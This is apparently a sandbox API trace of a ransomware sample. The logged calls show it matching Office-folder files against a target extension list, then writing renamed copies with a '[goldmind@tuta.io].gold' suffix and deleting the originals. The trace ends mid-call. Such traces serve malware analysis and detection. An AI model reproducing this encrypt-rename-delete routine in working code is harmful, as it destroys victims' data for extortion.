lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0115.871] lstrlenW (lpString=".jpg") returned 4 [0115.871] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.871] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0115.871] lstrlenW (lpString="SCHDCNCL.CFG") returned 12 [0115.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0115.882] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=821) returned 1 [0115.882] CloseHandle (hObject=0x3ec) returned 1 [0115.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg")) returned 0x20 [0115.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0115.888] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.888] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0115.890] GetLastError () returned 0x0 [0115.890] ReadFile (in: hFile=0x3ec, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x335, lpOverlapped=0x0) returned 1 [0115.891] WriteFile (in: hFile=0x184, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x340, lpOverlapped=0x0) returned 1 [0115.892] ReadFile (in: hFile=0x3ec, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.892] WriteFile (in: hFile=0x184, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.892] SetEndOfFile (hFile=0x184) returned 1 [0115.892] CloseHandle (hObject=0x184) returned 1 [0115.892] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.892] SetEndOfFile (hFile=0x3ec) returned 1 [0115.894] CloseHandle (hObject=0x3ec) returned 1 [0115.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg")) returned 1 [0115.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0115.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0115.895] lstrlenW (lpString=".doc") returned 4 [0115.895] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.895] lstrlenW (lpString=".docx") returned 5 [0115.895] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0115.895] lstrlenW (lpString=".pdf") returned 4 [0115.895] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.895] lstrlenW (lpString=".xls") returned 4 [0115.895] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.895] lstrlenW (lpString=".xlsx") returned 5 [0115.895] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0115.895] lstrlenW (lpString=".ppt") returned 4 [0115.895] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0115.895] lstrlenW (lpString=".zip") returned 4 [0115.895] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.895] lstrlenW (lpString=".rar") returned 4 [0115.895] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.895] lstrlenW (lpString=".bz2") returned 4 [0115.895] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.895] lstrlenW (lpString=".7z") returned 3 [0115.895] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0115.895] lstrlenW (lpString=".dbf") returned 4 [0115.895] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0115.895] lstrlenW (lpString=".1cd") returned 4 [0115.895] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0115.895] lstrlenW (lpString=".jpg") returned 4 [0115.895] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0115.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0115.896] lstrlenW (lpString=".doc") returned 4 [0115.896] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.896] lstrlenW (lpString=".docx") returned 5 [0115.896] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0115.896] lstrlenW (lpString=".pdf") returned 4 [0115.896] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.896] lstrlenW (lpString=".xls") returned 4 [0115.896] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.896] lstrlenW (lpString=".xlsx") returned 5 [0115.896] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0115.896] lstrlenW (lpString=".ppt") returned 4 [0115.896] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0115.896] lstrlenW (lpString=".zip") returned 4 [0115.896] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.896] lstrlenW (lpString=".rar") returned 4 [0115.896] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.896] lstrlenW (lpString=".bz2") returned 4 [0115.896] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.896] lstrlenW (lpString=".7z") returned 3 [0115.896] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0115.896] lstrlenW (lpString=".dbf") returned 4 [0115.896] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0115.896] lstrlenW (lpString=".1cd") returned 4 [0115.896] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0115.896] lstrlenW (lpString=".jpg") returned 4 [0115.896] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.896] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0115.896] lstrlenW (lpString="SCHDREQ.CFG") returned 11 [0115.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0115.897] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1199) returned 1 [0115.897] CloseHandle (hObject=0x3ec) returned 1 [0115.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg")) returned 0x20 [0115.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0115.898] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.898] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0115.899] GetLastError () returned 0x0 [0115.899] ReadFile (in: hFile=0x3ec, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x4af, lpOverlapped=0x0) returned 1 [0115.900] WriteFile (in: hFile=0x184, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x4b0, lpOverlapped=0x0) returned 1 [0115.900] ReadFile (in: hFile=0x3ec, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.900] WriteFile (in: hFile=0x184, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0115.900] SetEndOfFile (hFile=0x184) returned 1 [0115.901] CloseHandle (hObject=0x184) returned 1 [0115.901] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.901] SetEndOfFile (hFile=0x3ec) returned 1 [0115.904] CloseHandle (hObject=0x3ec) returned 1 [0115.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg")) returned 1 [0115.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0115.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0115.905] lstrlenW (lpString=".doc") returned 4 [0115.905] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.905] lstrlenW (lpString=".docx") returned 5 [0115.905] lstrcmpiW (lpString1=".docx", lpString2="Q.CFG") returned -1 [0115.905] lstrlenW (lpString=".pdf") returned 4 [0115.905] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.905] lstrlenW (lpString=".xls") returned 4 [0115.905] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.905] lstrlenW (lpString=".xlsx") returned 5 [0115.905] lstrcmpiW (lpString1=".xlsx", lpString2="Q.CFG") returned -1 [0115.905] lstrlenW (lpString=".ppt") returned 4 [0115.905] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0115.906] lstrlenW (lpString=".zip") returned 4 [0115.906] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.906] lstrlenW (lpString=".rar") returned 4 [0115.906] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.906] lstrlenW (lpString=".bz2") returned 4 [0115.906] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.906] lstrlenW (lpString=".7z") returned 3 [0115.906] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0115.906] lstrlenW (lpString=".dbf") returned 4 [0115.906] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0115.906] lstrlenW (lpString=".1cd") returned 4 [0115.906] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0115.906] lstrlenW (lpString=".jpg") returned 4 [0115.906] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0115.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0115.906] lstrlenW (lpString=".doc") returned 4 [0115.906] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.906] lstrlenW (lpString=".docx") returned 5 [0115.906] lstrcmpiW (lpString1=".docx", lpString2="Q.CFG") returned -1 [0115.906] lstrlenW (lpString=".pdf") returned 4 [0115.906] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.906] lstrlenW (lpString=".xls") returned 4 [0115.906] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.906] lstrlenW (lpString=".xlsx") returned 5 [0115.906] lstrcmpiW (lpString1=".xlsx", lpString2="Q.CFG") returned -1 [0115.906] lstrlenW (lpString=".ppt") returned 4 [0115.906] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0115.906] lstrlenW (lpString=".zip") returned 4 [0115.906] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.906] lstrlenW (lpString=".rar") returned 4 [0115.906] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.906] lstrlenW (lpString=".bz2") returned 4 [0115.906] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.906] lstrlenW (lpString=".7z") returned 3 [0115.906] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0115.906] lstrlenW (lpString=".dbf") returned 4 [0115.906] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0115.906] lstrlenW (lpString=".1cd") returned 4 [0115.906] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0115.907] lstrlenW (lpString=".jpg") returned 4 [0115.907] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.907] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0115.907] lstrlenW (lpString="SCHDRESN.CFG") returned 12 [0115.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0115.907] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=835) returned 1 [0115.907] CloseHandle (hObject=0x3ec) returned 1 [0115.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg")) returned 0x20 [0115.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0115.908] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.908] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0115.909] GetLastError () returned 0x0 [0115.909] ReadFile (in: hFile=0x3ec, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x343, lpOverlapped=0x0) returned 1 [0116.042] WriteFile (in: hFile=0x184, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x350, lpOverlapped=0x0) returned 1 [0116.042] ReadFile (in: hFile=0x3ec, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.043] WriteFile (in: hFile=0x184, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0116.043] SetEndOfFile (hFile=0x184) returned 1 [0116.043] CloseHandle (hObject=0x184) returned 1 [0116.043] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.043] SetEndOfFile (hFile=0x3ec) returned 1 [0116.044] CloseHandle (hObject=0x3ec) returned 1 [0116.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg")) returned 1 [0116.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0116.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0116.046] lstrlenW (lpString=".doc") returned 4 [0116.046] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0116.046] lstrlenW (lpString=".docx") returned 5 [0116.046] lstrcmpiW (lpString1=".docx", lpString2="N.CFG") returned -1 [0116.046] lstrlenW (lpString=".pdf") returned 4 [0116.046] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0116.046] lstrlenW (lpString=".xls") returned 4 [0116.046] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0116.046] lstrlenW (lpString=".xlsx") returned 5 [0116.046] lstrcmpiW (lpString1=".xlsx", lpString2="N.CFG") returned -1 [0116.046] lstrlenW (lpString=".ppt") returned 4 [0116.046] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0116.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0116.046] lstrlenW (lpString=".zip") returned 4 [0116.046] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0116.046] lstrlenW (lpString=".rar") returned 4 [0116.046] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0116.046] lstrlenW (lpString=".bz2") returned 4 [0116.046] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0116.046] lstrlenW (lpString=".7z") returned 3 [0116.046] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0116.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0116.046] lstrlenW (lpString=".dbf") returned 4 [0116.046] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0116.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0116.046] lstrlenW (lpString=".1cd") returned 4 [0116.046] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0116.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0116.046] lstrlenW (lpString=".jpg") returned 4 [0116.046] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0116.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0116.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0116.046] lstrlenW (lpString=".doc") returned 4 [0116.047] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0116.047] lstrlenW (lpString=".docx") returned 5 [0116.047] lstrcmpiW (lpString1=".docx", lpString2="N.CFG") returned -1 [0116.047] lstrlenW (lpString=".pdf") returned 4 [0116.047] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0116.047] lstrlenW (lpString=".xls") returned 4 [0116.047] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0116.047] lstrlenW (lpString=".xlsx") returned 5 [0116.047] lstrcmpiW (lpString1=".xlsx", lpString2="N.CFG") returned -1 [0116.047] lstrlenW (lpString=".ppt") returned 4 [0116.047] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0116.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0116.047] lstrlenW (lpString=".zip") returned 4 [0116.047] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0116.047] lstrlenW (lpString=".rar") returned 4 [0116.047] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0116.047] lstrlenW (lpString=".bz2") returned 4 [0116.047] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0116.047] lstrlenW (lpString=".7z") returned 3 [0116.047] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0116.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0116.047] lstrlenW (lpString=".dbf") returned 4 [0116.047] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0116.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0116.047] lstrlenW (lpString=".1cd") returned 4 [0116.047] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0116.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0116.047] lstrlenW (lpString=".jpg") returned 4 [0116.047] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0116.047] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0116.047] lstrlenW (lpString="SECURS.ICO") returned 10 [0116.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 